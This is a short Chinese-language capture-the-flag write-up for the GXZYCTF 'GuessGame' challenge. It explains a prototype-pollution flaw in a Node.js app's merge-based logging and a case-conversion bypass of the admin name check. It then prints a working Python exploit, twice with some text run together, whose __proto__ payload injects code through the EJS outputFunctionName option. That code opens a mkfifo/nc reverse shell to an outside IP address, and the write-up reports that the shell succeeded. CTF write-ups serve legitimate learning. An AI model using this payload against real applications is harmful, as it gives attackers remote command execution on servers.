0%

2020 GXZYCTF GuessGame

看到log函数里面有merge,那么可以原型链污染了

1
2
3
4
5
6

function log(userInfo){
let logItem = {"time":new Date().toString()};
merge(logItem,userInfo);
loginHistory.push(logItem);
}

然后post/路由中调用了log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

//So terrible code~
app.post('/',function (req, res) {
if(typeof req.body.user.username != "string"){
res.end("error");
}else {
//console.log(req.body.user.username);
if(config.forbidAdmin && req.body.user.username.includes("admin")){
res.end("any admin user has been baned");
}else {
if(req.body.user.username.toUpperCase() === adminName.toUpperCase())
//only log admin's activity
log(req.body.user);
res.end("ok");
}
}
});

需要满足输入的username的大写要等于 “admin888”的大写,利用javascript的大小写特性,就可以绕过,然后试了试之前ejs模板的反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14

import requests
url="http://121.37.167.12"
proxy={"http":"http://127.0.0.1:8080"}

r=requests.post(url,json={"user":{"username":"admIn888","__proto__":{"enableReg":True,"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 144.34.200.151 9999 >/tmp/f ');var __tmp2"}}},proxies=proxy)
print r.text
r=requests.get(url,proxies=proxy)
print r.textimport requests
url="http://121.37.167.12"
proxy={"http":"http://127.0.0.1:8080"}

r=requests.post(url,json={"user":{"username":"admIn888","__proto__":{"enableReg":True,"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 144.34.200.151 9999 >/tmp/f ');var __tmp2"}}},proxies=proxy)
print r.text

反弹shell成功,cat app.js

题目源码